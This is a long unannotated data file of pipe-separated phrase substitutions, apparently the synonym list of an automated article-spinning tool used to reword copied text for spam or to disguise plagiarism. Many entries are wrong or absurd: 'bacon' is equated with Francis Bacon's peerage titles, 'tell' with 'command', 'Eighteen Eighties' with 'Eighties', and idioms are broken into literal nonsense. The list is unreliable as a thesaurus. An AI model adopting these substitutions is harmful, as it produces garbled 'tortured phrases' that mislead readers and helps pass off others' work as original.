that|you make sure that structures|buildings|constructions a good spot|a great spot|a great place speeded up|sped up|accelerated beginning to|starting to screen|display|display screen is some|is a few awesome|superior the added benefit|the additional advantage|the additional benefit of purses|of handbags and lots of|and plenty of|and many is acceptable|is suitable|is appropriate the automatic|the automated to search around|to go looking in the future|sooner or later solar|photo voltaic consult|seek the advice of smallest amount|least amount pools|swimming pools efficiently|effectively and need not|and needn't variety of|number of a symbol|a logo|an emblem keep it up|stick with it blogging|running a blog all of your|all your|your whole|your entire field of vision|field of regard|visual field|sight view|visual view visual|visible you shouldn't|you should not|you mustn't life of|lifetime of a continual|a continuing|a continuous the focus|the main target|the main focus circular|round and you have|and you've got cholesterol|ldl cholesterol of faith|of religion is so easy|is very easy|is really easy the drugstore|the pharmacy more effective|simpler|more practical listen|pay attention|hear and respected|and revered the administrative|the executive are no|are not any|aren't any loss of|lack of the subject|the topic breaking apart|breaking up i mentioned|i discussed being used|getting used the protecting|the protective charter|constitution read|learn arrogance|vanity|conceitedness caution|warning not easy|tough|challenging|hard|difficult|demanding manager|supervisor becoming|turning into|changing into shapes and sizes|sizes and shapes|styles and sizes|sizes and styles seems to be|appears to be that might|which may|that may specifications|specs the steadiness|the stableness|the stability mischievous|prankish|playful|naughty|roguish|waggish|impish|sportive selections|choices|alternatives|picks acid reflux|acid reflux disease|acid reflux disorder and an outlined|and a defined nutrition|vitamin|diet is plain|is obvious|is apparent for simple|for easy have other|produce other takes wing|takes to the air showed|confirmed go through|undergo the result of|the results of and you|and also you forum|discussion board to collapse|to break down the unmatched|the unequalled|the unrivaled you believe|you think|you suspect the fellow|the guy|the man a significant portion|a good portion toilets|bogs|bathrooms applying|making use of to pay attention|to concentrate an impressive|a powerful|a formidable across the world|the world over|internationally in moderation|carefully|sparsely|moderately is figuring out|is determining exceptional|distinctive unexpected|sudden|surprising more youthful|younger a big range|a wide range|a wide array collect|gather|acquire|accumulate beaten|crushed|overwhelmed prestige|status and colors|and colours cloth|material|fabric to 5|to five inflammation|irritation you don't have|you do not have of educating|of teaching|of training it's critical|it is important|it's important|it is vital|it's vital many giant|many huge|many big cardiologist|heart specialist and homes|and houses rent|lease|hire extended|prolonged parts|elements|components they help|they assist wait for|await|anticipate|look forward to|watch for|look ahead to|watch for marital relationship|conjugal relationship strange|unusual and rot|and decay letter of invitation|a call for participation closing date|deadline|time limit|cut-off date kids|youngsters|children not up to|less than|lower than obtaining|acquiring tacky|cheesy signal|sign prior to|previous to noted|famous extensively utilized|also used strength of mind|self-discipline|self-control|willpower|strength of will last few|previous couple of|previous few one hundred and ninetieth|a hundred and ninetieth a tough|a troublesome|a tricky and faucets|and taps electric|electrical that inaccurate|that wrong|that incorrect of high quality|of top of the range|of top quality cook|prepare dinner|cook dinner is free of|is freed from almost all|just about all to deprave|to corrupt cheating|dishonest regardless of|no matter in serious trouble|in deep trouble you recently|you latterly|you lately of exceptional|of outstanding|of remarkable transparent|clear a sophisticated|a classy|a complicated climate|local weather the single|the only|the one demanding situations|challenges that almost|that nearly|that just about do you know|have you learnt|are you aware of available|of obtainable|of accessible lead the way|cleared the path|paved the way|prepared the ground based mostly|based|primarily based a great amount|a large amount a casual|an off-the-cuff|an informal of students|of scholars to foretell|to predict to soothe|to appease|to assuage female friend|girlfriend most unique|most original|most unusual for so long as|for as long as listen to|take heed to|hearken to i change|i modify|i alter many that|many who the abilities|the skills|the talents intolerant|illiberal of women|of girls|of ladies the most effective|the simplest|the best for inspiring|for uplifting the rostrum|the podium because|as a result of|as a result of the possibilities|the chances|the probabilities cases|instances|circumstances many alternative|many various|many different qualifications|skills you've got|you've|you have it usually|it always yourself|your self straight away|right away|immediately less complicated|simpler|easier the students|the scholars in the community|locally|in the neighborhood questions of safety|issues of safety|safety issues among|amongst for looking and feeling|for feeling and looking years yet to come|years to come|future years it's usually|it's always the public and private|the private and non-private leaving behind|abandoning|forsaking you actually|you really|you truly this knowledge|this data|this information the popular an excellent gift|a great gift|a superb present and luxurious|and opulent|and splendid 25th|twenty fifth waiting|ready bloodbath|massacre the net|the web|the online deepwhite|whitened that you can imagine|imaginable|conceivable|possible|that you can think of a damaging|a harmful|a dangerous of hearth|of fireside|of fireplace around the|across the prosperous|affluent is classified|is assessed|is classed there are a range|there are a selection|there are a number your working personal computer|your working computer for regular|for normal a way smaller|a much smaller many ladies|many girls|many women it is common|it's common|it is not uncommon kinds of|sorts of simultaneously|concurrently for classic|for traditional you leave|you allow|you permit same old|standard|usual to hand|handy|at hand technology|know-how|expertise erroneous|faulty|misguided|inaccurate comes to|involves more cost effective|more economical|less expensive a tricky|a difficult|a tough many outfitters|many clothing stores|many clothes shops all over|throughout leap year|intercalary year|bissextile year of extensive|of in depth|of intensive looked after|taken care of|sorted faith|religion parking lot|parking zone|car parking zone mild|delicate|gentle to skimp|to scrimp|to stint it is only|it is just|it's only a pro|a professional making an investment|investing an excellent spot|a great spot|a great place lost|misplaced a power|an influence dicy|risky most department stores|most shops functioning from|performing from guide|information an increase|a rise he's|he is liability|legal responsibility pointers to|tips that could|tips to that troubling|that worrying are often|are sometimes will not be able|will be unable|won't be able you determine|you identify|you establish that most|that the majority|that almost all geared up|equipped that are|which are|which might be|which can be they try|they struggle|they fight interested by|inquisitive about|interested in is rarely|is never|isn't they begin|they start the delicate|the fragile know it|realize it|comprehend it|understand it is declared|is said|is asserted cutting off|removing tell|disclose|reveal|show|expose|uncover|relate|narrate|inform|advise|explain|divulge|declare|command|order|bid|recount|repeat the recognition|the popularity for varied|for various|for diverse eating|consuming appearing|showing reduction|discount spread|unfold the elements|the weather of continuing|of continuous|of constant for a correct|for an accurate 5-membered|five-membered web advertising|online advertising the workers|the employees wrong|incorrect|mistaken|flawed|fallacious|improper|unsuitable boost up|accelerate of cupboard|of cabinet is very good|is excellent|is superb Eighteen Eighties|Eighties no matter|regardless of|irrespective of that includes|that features leading-edge|modern middleman|intermediary come|approach|advance|near|arrive|reach a cost-effective|an economical|a cheap of a pro|of a professional sun|solar to succeed in|to achieve|to reach blow his own trumpet|self-praise|puff up|sing his own praises you have|you've|you could have|you've got|you might have|you will have|you've gotten|you have got|you may have is a giant|is a big|is a huge undertaking|enterprise|endeavor a handmade|a home made|a hand-crafted the selecting|the choosing and could|and will sorting out|checking out|finding out biggest|largest|greatest the usual|the standard|the same old of aristocrats|of noblemen length|size we are not|we aren't|we're not most widely|most generally tablet|pill to show pride|to take pride to refer to|to consult kept away from|avoided|evaded|refrained from get paid|receives a commission help on|assistance on which implies|which means|which suggests cutting|slicing|chopping|reducing is incomprehensible|is meaningless originally|initially by means of|via|by the use of|by way of announcing|saying|asserting respiring|breathing suddenly met|ran into|bumped into and children|and youngsters|and kids put forward|recommend same|similar|identical existing|present|current listing|itemizing can be used|can be utilized isn't really|isn't|is not a third|a 3rd learn about|study|find out about undeniable fact|indisputable fact grab|seize dubious|doubtful sign|signal of faculty|of college|of school avoided|prevented|averted makes a speciality of|focuses on|specializes in harking back to|reminiscent of|paying homage to ends up in|results in|leads to updated|up to date effect|impact let's see|let's examine|let's have a look at you someone|you somebody the placement|the location|the position of saying|of claiming you can find|yow will discover|you'll find|you will discover|you could find advancement|development searching for|looking for|trying to find sizzling|scorching and do not|and don't to hurt|to harm and decorators|and interior designers|and interior decorators not obligatory|optional|non-compulsory explained|defined element|factor|component|aspect|ingredient to expire|to run out take advantage|make the most you enough|you adequate|you sufficient advanced|superior a number of|numerous|a variety of|quite a few|various|quite a lot of|a lot of|plenty of far more than|excess of|way over the birth control|the contraception this word list|this glossary|this thesaurus how you can|how one can to daylight|to sunlight many religious|many spiritual|many non secular would routinely|would normally|would typically of these|of those a high quality|a top quality behind the curtain|backstage|behind the scenes relatives|relations|family members|kinfolk|kin|family allure|attract the hottest|the most well liked|the most popular this pretty|this beautiful|this gorgeous a better|a greater is based|is predicated|relies the results|the outcomes unstated|unspoken wishes|needs we women|we girls|we ladies snorkel diving|diving with a snorkel|happily snorkeling a worldly|a sophisticated|a cosmopolitan gay|homosexual is 18|is eighteen moving|shifting|transferring really apt|really appropriate|judicious|sensible you worry|you are worried|you are concerned participate|take part till|until alternatives|options|alternate options enthusiastic about|keen about|captivated with|obsessed with|passionate about|smitten by profession|career|occupation very pleased|very happy|more than happy that revealed|that exposed go browsing|go online|log on families|households in order to|so as to|to be able to|with a view to|in an effort to|with a purpose to|as a way to|with the intention to for visualisation|for visualization of increasing|of accelerating and combining|and mixing and wants|and needs|and desires the online|the web|the net gorgeous|beautiful|attractive different things|various things your place|your home|your house the intense|the extreme|the extraordinary personalized gifts|personalised presents|customised gifts a big choice|a wide selection|a large choice concerts|live shows|concert events neat|clean|orderly|tidy|trim|dapper|natty|smart|elegant|well-organized|super|desirable|spruce|shipshape|well-kept|shapely and forestalls|and stops|and prevents devil|satan limited-access highway|freeway|throughway|expressway|parkway height|peak|top bills|payments the flavor|the flavour and instructions|and directions untrue|unfaithful underclothes|underwear|undies a load more|a lot more is usually|is frequently|is generally|is often|will likely be|is normally most logical|most rational|most reasonable|most obvious|most sensible the bleak|the awful|the grim a wedding|a marriage it'll make|it will make feel good about|be ok with in command of|in charge of|in control of|answerable for|accountable for and certified|and authorized|and licensed harmless|innocent 1st baron beaverbrook|Beaverbrook|1st Baron Beaverbrook|William Maxwell Aitken|publisher 1st baron verulam|Bacon|Francis Bacon|Sir Francis Bacon|Baron Verulam|1st Baron Verulam|Viscount St. Albans this wonderful|this excellent|this glorious beside the point|irrelevant|inappropriate visual field|field of vision|field of regard|sight view|visual view that you'll|that you're going to|that you will primarily based|based|based totally roller|curler for the same|for a similar stopover at|visit to lingerie|to underwear|to undies the advantages of|some great benefits of|the benefits of equivalent|equal guiding principle|guideline|tenet the surplus|the excess to use|to make use of discussed|mentioned recollect it|recall it a posh|a complicated|a fancy and sophisticated|and complicated|and complex appreciable|considerable to touch|to the touch a fast|a quick the effervescent|the bubbling aerobic|cardio is really|is basically|is actually|is absolutely|is admittedly|is de facto the internal|the interior|the inner easiest method|simplest way|easiest way it is also|additionally it is|it's also|it is usually and should|and will|and may silk flowers|silk blooms|plastic flowers name|identify|title in another country|abroad|overseas|out of the country|in a foreign country getting into|stepping into|moving into|entering into a must-have|a must have|vital|essential may still|should|should still our children|our youngsters|our kids editing|modifying|enhancing police officers|cops|law enforcement officials for new|for brand spanking new|for brand new is some distance|is a long way put in force|enforce|put into effect|implement solve|clear up|remedy|resolve consistently|persistently|constantly gemstones|gems|gem stones in addition|as well as may just|may|could is high quality|is top quality|is top of the range the partiality|the fancy|the fondness an ability|a capability wear|put on consume|eat|devour and assured|and guaranteed|and warranted for only|for less than|for under in the world|on the earth|on the planet|on this planet be grateful for|be thankful for|be pleased about|be glad about touch|contact bank|financial institution compatible|suitable|appropriate recommend|advocate|suggest money back|a refund|a reimbursement the most simple|the simplest|the most straightforward reminiscent of|harking back to|paying homage to an artificial|a man-made|a synthetic a favorable|a positive|a good you frequently|you regularly|you often thin|skinny the european|the ecu|the eu and searching out|and looking for|and seeking out guidelines|tips|pointers poll|ballot this opportunity|this chance many customers|many purchasers|many shoppers the pro|the professional to just|to only|to simply of cupboards|of cabinets desirous to|wanting to and comparatively|and relatively is feasible|is possible express regret|make an apology|ask for forgiveness of buying|of shopping for for twenty-four|for 24 purposes|functions attacks|assaults to urge|to induce a fair|a good they wish|they want|they need this flexible|this versatile one that|one which they allow|they permit on track|on target|on course|on the right track|heading in the right direction online advertising|internet advertising|internet marketing a remodeling|a transforming|a reworking laptop|laptop computer of delight|of pleasure|of enjoyment the once a year|the yearly|the annual with any luck|hopefully|with a bit of luck|optimistically a multitude|a mess|a large number the golfing the decade|the last decade a customised|a customized|a personalized needs|wants a breathtaking|a wide ranging|a panoramic to persuade|to influence|to steer trivialities|trivia|minutiae sign off|log off|log out you persevere|you persist go surfing|log on|go online generating|producing facial expression|facial features person to person|individual to individual is excited|is happy|is worked up situated|located striking|putting|hanging|placing investment|funding a tremendous|an incredible|an amazing affiliate marketing|online marketing|affiliate internet marketing|affiliate marketing online|internet affiliate marketing|internet online affiliate marketing they seek out|they search out market it|promote it the similar|the same optional|optionally available|elective|non-compulsory|non-obligatory you can|you'll be able to|you possibly can|you may could be|might be|could possibly be|may very well be anywhere|anyplace|wherever adulthood|maturity old flame|past love you finance|you financial|you fiscal clean|clear moderately|reasonably just under|slightly below|just below an economical|a cheap|a cost-effective cancer causing agents|carcinogens|cancer agents that school|that faculty|that college forward|ahead locally|regionally|domestically that barely|that hardly a scarf|a shawl a fifteen|a 15 a sort|a kind|a form national|nationwide is a good|is an effective|is an efficient of countries|of nations long term|long run listen in on|pay attention to|eavesdrop on keep|hold|retain|withhold|preserve|maintain|sustain|support defense force|military|armed forces|militia injuries|accidents the light|the sunshine not on time|behind schedule more bad-tempered|grumpier|more ill-tempered|more crabbed|grouchier|fussier that bathroom|that loo|that rest room for 6|for six pay attention|concentrate|listen and ridicule|and mock is often ais usually a a cushty|a comfy|a comfortable finally|lastly times|occasions|instances more well-off|more comfortable to scrub|to wash|to clean and home|and residential extraterrestrial beings|aliens subsidized|sponsored|backed of parents|of oldsters|of fogeys i might|i'd|i would focal point|focus|point of interest flavor|taste fan the flames of|fire up|stir up the coolest|the good|the best strategy|technique to corrupt|to deprave and folks|and folk|and people seemed to be|appeared to be|gave the impression to be custom designed|customized of fireplace|of hearth|of fireside to minimize|to attenuate|to reduce courses|programs and resolution|and determination|and backbone for additonal|for extra|for added the logo|the brand|the emblem the suitable|the acceptable|the appropriate chanced on|stumbled on|came upon is uncommon|is rare|is unusual popping out|coming out to lay|to put you've ever|you have ever time beyond regulation|overtime|extra time|additional time|beyond regular time needless to say|for sure|evidently to speak about|to discuss|to talk about giant|big|large local community|area people|local people on a regular basis|regularly|frequently is phenomenally|is outstandingly|is exceptionally good looks|attractiveness|beauty the rest|the remaining|the remainder normal|regular making an attempt|attempting you elect|you choose|you have chose and faux|and pretend|and fake the seller|the vendor in order that|so that get well|recover|recuperate|get better to turn|to show the end|the top|the tip criteria|standards luggage|baggage you should buy|you should purchase|you can purchase do you need|do you want the gray|the grey very good|excellent|superb of potentially|of probably|of doubtless skilled|expert more potent|stronger are just|are only immoderate|excessive weighing balance|weighing machine one hundred twenty five|a hundred twenty five one hundred and fifty fifth|a hundred and fifty fifth the classy|the fashionable|the stylish treatment|remedy|therapy you're able|you are able to chat|to talk|to speak trade|commerce appetite|urge for food curtailing|curbing workers|staff|employees a prison|a jail you are making|you make|you're making intervening time|meantime|interim|period in-between many outlets|many shops|many retailers translates|interprets which complement|which enhance|which counterpoint funny story|joke|comic story|shaggy dog story picture|image by the time|by the point for hot|for decent|for warm 1st earl baldwin of bewdley|Baldwin|Stanley Baldwin|1st Earl Baldwin of Bewdley needs to be|must be a factor|an element bounce back|get better steer clear off|avoided|kept away from distress|misery look forward to finding|expect to find|anticipate finding anything else|anything|the rest will definitely|will certainly unknown creatures|unfamiliar beings|strange creatures you will be able|it is possible for you to brazenly|overtly|openly brands|manufacturers go back|return be conscious of|take heed to usual|ordinary|traditional|regular|normal|typical|standard|common which type|which sort|which kind and anti inflammatory|and anti-inflammatory the popular|the favored|the popular the help|the assistance is helping|helps except|besides you might want to|it is advisable to for women|for ladies|for girls the arena|the world|the sector and teens|and teenagers|and youths you're the|you are the to stick out from|to stand proud of|to stand out from for that's|for that is lacking|missing wisdom|knowledge and entire|and full|and whole body structure|physiology to socialise|to socialize as an example|for instance|for example take the plunge|make the leap to nominate|to appoint off track|astray|off course|off target|off beam a large|a big reasons why|explanation why|the reason why|the explanation why to ensure|to make sure really fizzling out|truly fizzling out a status|a standing employing|using indisputable|indeniable valuable|useful|priceless|beneficial|helpful|worthwhile|invaluable|precious two hundred|2 hundred|200 shopping mall|shopping center beneficial|useful|helpful dining|eating amazing|superb|wonderful indirect|oblique that draws|that pulls|that attracts in deep trouble|in serious trouble handbags|purses old-fashioned|old style|old school let out|let loose|set free monetary|financial to precise|to express|to specific to reduce|to scale back|to cut back courageous|brave you want to|you wish to|you need to|you would like to|you desire to|you must|you ought to|you should well known|well-known stock|inventory that permits|that allows high blood pressure|hypertension of 3|of three choices|decisions|selections there isn't|there's not|there is not a spinoff|a by-product|a derivative that you're going to|that you'll|that you will the warmers|the heaters keep learning|continue learning|continue to learn custom a full of life|a lively reminds me|jogs my memory preference|choice|desire a completely|a totally|a very you do not want|you don't want|you do not need a resounding|a powerful|a convincing gross|improper|rude|coarse|indecent|crude|vulgar|outrageous|extreme|grievous|shameful|uncouth|obscene|low wintry weather|winter|iciness which combines|which mixes the acceptable|the suitable|the appropriate paying attention to|listening to|taking note of|being attentive to waterproof coat|mackintosh seasonal variations|differences due to the season|seasonal differences buyer|purchaser gaze at|stare upon sleep disorder|sleep problem only one|just one almost all these|every one of these|most of these|each one of these that study room|that lecture room|that classroom homemade|selfmade|do-it-yourself|home made handle|deal with for an extra|for an additional brow|forehead that discourages|that daunts frightened of|scared of|afraid of|terrified of|fearful of leads to|results in very same|exact same stuck|caught lawn|garden for hotter|for warmer that lavatory|that toilet|that bathroom indulge in|bask in|take pleasure in could need|may need|may wish you spotted|you noticed of 50|of fifty unusual|uncommon we need|we'd like|we want the dozens|the handfuls in place of|instead of|rather than is in general|is generally|is normally stepped forward|progressed|advanced|improved and fantastically|and wonderfully|and beautifully glaringly|manifestly|obviously and entirely|and completely|and fully need to|have to|must doesn't suggest|does not imply|doesn't mean began|started is damaged|is broken of craftsmanship|of expertise|of workmanship have you|have you ever you can purchase|you should purchase|you should buy risky|dangerous and concentrate on|and focus on this cap|this cover start up|begin|initiate lead to|result in of guaranty|of warranty and customized|and customised looking at buying|looking to buy|wanting to buy a large choice|a wide selection|a good selection a mins|a minutes an affordable|a reasonable|an inexpensive every year|yearly and hear|and listen to interact|work together the affection|the love installed|put in inquiring for|soliciting for the oldsters|the parents|the fogeys featuring|that includes customer|buyer guaranteed|assured a costume|a fancy dress|a dressing up precedence|priority a shockingly|a surprisingly|an incredibly great amount|large amount you buying|you purchasing to alter|to change at the back of|behind|in the back of i lately|i latterly|i recently most room|most leeway|most space the proven fact|the undeniable fact get better|recover|recuperate|get well|improve the overall|the general and also|and in addition|and likewise costly|pricey|expensive is would not|is wouldn't fat|stout|corpulent|fleshy|beefy|paunchy|plump|full|rotund|tubby|pudgy|chubby|chunky|burly|bulky|elephantine coming round again|making a comeback|making a return without or with|with or without fully|absolutely|totally are looking for|are searhing for|are trying to find know the way|understand how|know how career|profession cranium|skull workouts|exercises seem|appear is most fitted|is best suited|is most suitable to keep in mind|to remember|to bear in mind of colors|of colours to promote|to advertise another|one other recreational|leisure in doubt|unsure|doubtful an inventory|a listing|a list for placing|for putting came|got here to actually|to truly|to really that often|that always|that usually kit|package|equipment made ornamental|made decorative each year|annually|every year less assailable|less attackable|more impregnable dispensing|allotting|dishing out|shelling out|meting out coaching|teaching is the majority|is almost all for finding|for locating nearby|close by check|examine|verify|test one hundred and twenty fifth|a hundred and twenty fifth financial plan|financial statement September 11|Sept. 11|Sep 11|11th of September utilizing|using ventilation|air flow split|cut up|break up k|okay|ok the capability|the potential|the aptitude study room|classroom|lecture room|school room made similar to|made like of manufacturing|of producing very unlikely|impossible|most unlikely|not possible respond to|reply to ensure that|make sure that|be sure that|be certain that sawing wood|sawing logs you may also|you might also|you may additionally to rip|to tear it seems that|it appears that evidently|plainly|evidently peers|friends glance through|look through is courageous|is fearless|is brave teachers|academics|lecturers to jump|to leap stumbled on|came across|found|discovered|came upon|chanced on could|might|may place of birth|hometown|place of origin|homeland|native land|fatherland heading in the right direction|on track|on target|on course|on the right track|not off course facing|dealing with|going through of a child|of a kid look through|leaf through|glance through a swish|a graceful|a sleek contention|rivalry|competition you can get|you will get|you may get and six|and 6 and seldom|and rarely|and infrequently communicating|speaking we won't|we cannot|we can't make sure that you|just remember to|just be sure you may not be|is probably not|will not be|might not be trace|hint mastercards|credit cards the aggregate|the mixture|the combination to vary|to differ there is a|there's a is short|is brief that could|that would|that might watch out|be careful once again|once more to each other|to one another aware about|aware of|privy to that pesticides|that insecticides attempted|tried security|safety is naturally|is of course what is the|what's the the task|the duty to oversee|to supervise training|coaching valid|legitimate the teenager mobile phones|cell phones|cellphones to each|to every new angle|special approach|unique approach for all times|for life flora and fauna|wildlife|natural world motive force|driving force|driver items|gadgets|objects a good deal of|a great deal of improvements|enhancements to feel embarrassment about|to be embarrassed about|to be ashamed of i purchase|i buy shops|outlets|retailers on your|in your and talents|and skills|and abilities could lead|could lead on|may lead for the time being|in the meanwhile|in the intervening time|in the interim a bathroom|a toilet|a rest room the rims|the edges stay up for|look forward to|wait for|watch for|look ahead to mix of|mixture of in search of|seeking|looking for|in quest of|in the hunt for|searching for academic|educational|tutorial they did not|they didn't to make a screw up|to make a mistake|to screw up be thankful for|be grateful for|be pleased about|be glad about that tub|that bath|that bathtub we really|we actually very last|final would i need|would i want|would i would like really extraordinary|really unusual|really unique technique|method|approach like better|value more highly that let|that permit|that allow adding|including to choose between|to make a choice from|to choose from reasonable|affordable|cheap slogging away|footslogging away|plodding away|slugging away|trudging away stay with|stick with the correct amount|the right amount|the correct quantity to outlive|to survive the assistance|the help to address|to deal with|to handle only if|provided that to remodeling|to transforming|to reworking as regards to|almost about|just about|near to|on the subject of|with reference to|with regards to proud of|pleased with|happy with kinds|sorts|varieties and imagine|and picture that occurs|that happens the easy|the straightforward|the simple could not|couldn't practice|apply|follow|observe is very common|is quite common most renowned|most famous|most famed filled with|crammed with|full of|stuffed with this day and age|this point in time to maintain|to take care of|to keep up want to know|need to know and gymnasium it's totally|it's very to price|to cost to preserve|to maintain project|venture|challenge|undertaking|mission practical|sensible getting back from|coming back from|returning from New York city|NY city protection|safety for sure|needless to say|of course|obviously really because|often because to go searching|to search around forged iron|cast iron|cast-iron study|research|examine a well stocked|an adequately stocked|a well provisioned canopy|cover you settle|you agree|you compromise you curious about|you interested by|you interested in came about|happened|took place what number of people|how many people to quote|to cite a mag|a magazine interest|curiosity requirements|necessities portable|moveable|transportable already exist|exist already is divided|is split to be used|for use 880 yards|half a mile|half of one mile|half of 1 mile cyberspace|our on-line world medical experts|health workers|medical examiners you enhance|you improve the better|the higher a fulfilling|a satisfying is changed|is modified huge|large|big|enormous draw in|attract a motorbike|a motorcycle|a bike type of|sort of|kind of|style of|variety of|form of just once|only once painting|portray prescription drugs|prescribed drugs|pharmaceuticals rear lights|taillights|back lights|hind lights|tail lamps you are interested|you have an interest improving|enhancing|bettering the undeniable fact|the indisputable fact excited about|enthusiastic about of popularity|of recognition instance|occasion fearful of|scared of|frightened of|afraid of|terrified of|petrified of discussion|dialogue of visitors|of tourists|of holiday makers to sparkle|to glitter and most people|and most of the people hunting|searching|looking you mustn't|you shouldn't|you should not most lovely|most adorable|most endearing|most lovable the cost of|the price of absorb|take in|take up|soak up look like|seem like|appear to be|appear like is wanted|is needed came across|stumbled on|came upon a couple of|a few oblong|rectangular internet|web information superhighway|internet|cyber web to target|to focus on of class|of sophistication is extremely|is incredibly|is amazingly not likely|unlikely|not going a catalogue|a listing|a list the dangerous|the damaging|the harmful a totally|a completely|a very exhibits|reveals|displays yes|sure to hear|to listen to a gloomy|a dark|a depressing|a dismal large amount|great amount memory|reminiscence document|doc to give an explanation for|to explain|to provide an explanation for an ornamental|a decorative to slip|to slide once you have|after you have|upon getting|after getting of varied|of various|of assorted teens|teenagers global|international|world within reach|within sight|close by|nearby dawn|daybreak more difficult|harder|tougher difficult|troublesome|tough an enticing|an attractive to polish|to shine automatically|mechanically|routinely|robotically this text will|this article is going to|this article will an identical|an analogous|a similar|the same in general|generally|normally|usually|typically|basically|on the whole rainy|wet vision|imaginative and prescient importance|significance delicious|savory|delectable|appetizing|luscious|scrumptious|palatable|delightful|enjoyable|toothsome|exquisite is a bit more|is a little more a boost|a lift a success|a hit|successful the correct mix|the right mix|the right combination the U.S.|the united states|the us integrated|built-in take|seize|grasp|steal|lift|rob the affected individual|the affected person practicing|training|working towards|practising vestry|sacristy action|motion of a whole|of a complete|of an entire for classy|for stylish|for sophisticated is decided|is set|is determined as well as|in addition to decreasing|reducing|lowering the average|the typical|the common to classify|to categorise gulping up|wolfing down great way|smart way|good way|wonderful means common|widespread|frequent cure|remedy|treatment before now|prior to now stitch|sew overnight|in a single day in this article|listed here you combine|you mix actual|precise when they|once they|after they made totally|made solely|made exclusively rock climbing|mountaineering|mountain climbing accessorize|decorate the class|the category inexpensive|cheap the warmth|the heat be careful|watch out the percentages|the odds|the chances really want|actually need|really need of co-workers|of work-mates|of colleagues|of associates|of affiliates|of comrades|of peers|of fellow workers business journey|work trip|business trip there are ways|there are methods to differ|to vary for just one|for only one photos|photographs|pictures|images would seem|would appear citizens|residents to grumble|to grouse one by one|one after the other many different|many various|many alternative of four|of 4 around her|round her to query|to question|to question that initially|that originally they do not|they don't registration number plate|license plate|registration code to admit|to confess elegance|magnificence|class images|pictures|photographs|photos is considered|is taken into account building up|build up|increase types of|kinds of|forms of|varieties of|sorts of to the contrary|on the contrary shipment|cargo selecting the proper|choosing the right|choosing the proper have interaction|interact|engage the tap|the faucet to function|to operate a big variety|a wide selection a lavatory|a rest room|a bathroom churches|church buildings the most expensive|the costliest|the most costly the consequences|the results|the implications you relies|you depends gave the look|gave the impression bump into|stumble upon robbery|theft cannot|can't|can not to desert|to abandon and northerly|and northern|and northern an inept|a clumsy a moral|an ethical that is|that's of baggage|of luggage|of bags to realise|to understand|to grasp it's not|it isn't|it is not and masses|and much|and lots more and plenty down to|right down to|all the way down to health|well being during the last|over the past|over the last you close|you shut|you close up system defects|glitches|system faults also they are|they are also 8vo|octavo|eightvo comparison|comparability aside from|apart from|except for|other than for all types|for every type|for all sorts likelihood is|chances are|likelihood is we needed|we would have liked|we wanted minutiae|trivia|trivialities the wishes|the needs|the desires talents|skills|abilities interfere|intrude|intervene looking and feeling|feeling and looking the mystical|the paranormal|the magical to disencumber|to free up|to liberate announcements|bulletins a continuing|a unbroken|a seamless the issues|the problems the person that|the person who|the individual that healthy|wholesome made over|remodeled|revamped the ones|those scenarios|situations|eventualities a sizable|a large ratings|scores|rankings to offer protection to|to protect|to give protection to no one|nobody medical examiner|medical expert|health worker upload|add 15 may organization|15 May Organization|terrorist organization the expectancies|the expectations of jewellery|of jewelry in a position|able|ready greenbacks|dollars|bucks the old school|the old-fashioned|the old fashioned the semblance|the illusion|the appearance take wing|take to the air i locate|i find for remodeling|for reworking|for transforming is simpler|is easier|is less complicated tailor-made|tailored the pros|the professionals undeniable|plain|simple came to visit|came over|came around|came visiting hashish|cannabis help|aid|assist|support|encourage|back|wait on|attend|serve|relieve|succor|benefit|befriend|abet shed light on|make clear the sturdiness|the durability wide selection|big choice|large choice|big range|wide array|big variety|good selection|wide variety 28th|twenty eighth pretty|fairly explanation|rationalization|clarification you heat|you warmth clubs|golf equipment to lots|to a lot|to plenty impassive|emotionless lower|decrease just|simply out of date|outdated|old-fashioned and sort|and type|and kind a straightforward|an easy|a simple day off|time off|day without work|time without work|break day this actual|this particular mood|temper the straightforward|the simple|the easy that's what|that is what to begin|to start all types|all kinds|every kind|every type|all sorts opposite direction|other way|wrong way the simple|the straightforward|the easy though|although of majesty|of splendor to misconceive|to misunderstand they won't|they will not assist|help are we able to|can we for instance|for example|as an example|as an illustration a hectic|a busy happy with|proud of|pleased with a listing|an inventory|a list on its own|by itself refrigerator|fridge just the beginning|just the start|only the start to apply|to use clients|shoppers|purchasers lines|strains|traces so long as|as long as gamers|players|avid gamers procedure|process you through|you thru proceeding|continuing powerful we strive|we attempt|we try on the lookout|looking out daybreak|dawn a wide|a large to an inept|to a clumsy if you|should you|when you|in the event you|in case you|for those who|if you happen to even more|much more pharmaceuticals|prescription drugs|prescribed drugs they bring|they carry|they convey|they bring about|they create the living room|the lounge they decline|they do not want|they refuse for complicated|for sophisticated|for classy curative|healing the goods|the products meaning to|intending to not worthy|undeserving|unfit i admire|i like|i love intensity|depth gift|present|reward imprinted on the|printed on the is rather|is quite|is very that a huge|that an enormous|that a large pills|tablets|drugs|capsules is an excellent spot|is a great spot they just|they only|they simply you bought|you purchased|you got|you acquire|you obtain|to procure clutter|muddle|litter place|space|area|spot|plot|region|location|situation|position|residence|dwelling|set|site|station|status|state hard drive|hard disk drive|harddisk|hard disk|harddrive try this|do this|do that the transforming|the reworking|the remodeling to upcoming|to approaching|to imminent release|launch make an observation|make a remark by accident|accidentally|by chance of assorted|of various|of varied the complete|the entire|the whole the dual|the twin sometimes|typically|generally need help|need assistance may actually|may very well started out|started off wireless|wi-fi a short time|a short while is calling|is looking|is asking malady|illness for modern|for contemporary extreme temperature|high temperature|hot temperature the subject matter|the subject material company|firm the prices|the costs breathing|respiration|respiratory delivery|supply set aside|put aside just about|nearly a manner|a fashion|a way work journeys|business trips|work trips philosopher|thinker a purse|a handbag and you'll|and you will|and you may i try to|i attempt to freeing|liberating|releasing of include|of are the conventional|the traditional|the standard it's your|it is your acutely aware of|conscious about|aware of you can most likely|you can probably stuffed with|full of|filled with to escape|to flee exam|examination it's a bit|it's kind of|it is a bit get older|grow old|become old|become older very fact|actual fact in which|by which|during which|through which|wherein dressed in|wearing most magnificent|most luxurious|most opulent which may make|which can make pay off|repay the viewpoint|the point of view|the perspective in its place|instead|as an alternative|as a substitute|as a replacement enjoyable|pleasant|gratifying|fulfilling|satisfying|pleasurable|pleasing role|position|function fritter away|burn up|use up|expend and fall asleep|and go to sleep sparkling|glowing is definitely|is certainly|is unquestionably exclusive|unique that define|that outline best|greatest|finest of house owners|of homeowners coins|cash abilities|talents|skills as it should be|correctly|appropriately|accurately this form|this type|this kind|this manner|this way and carefully|and punctiliously|and thoroughly colorful|colourful simply|merely and can|and may|and might bathroom toilet|bathroom lavatory|loo a selection|a variety|a range news|information you 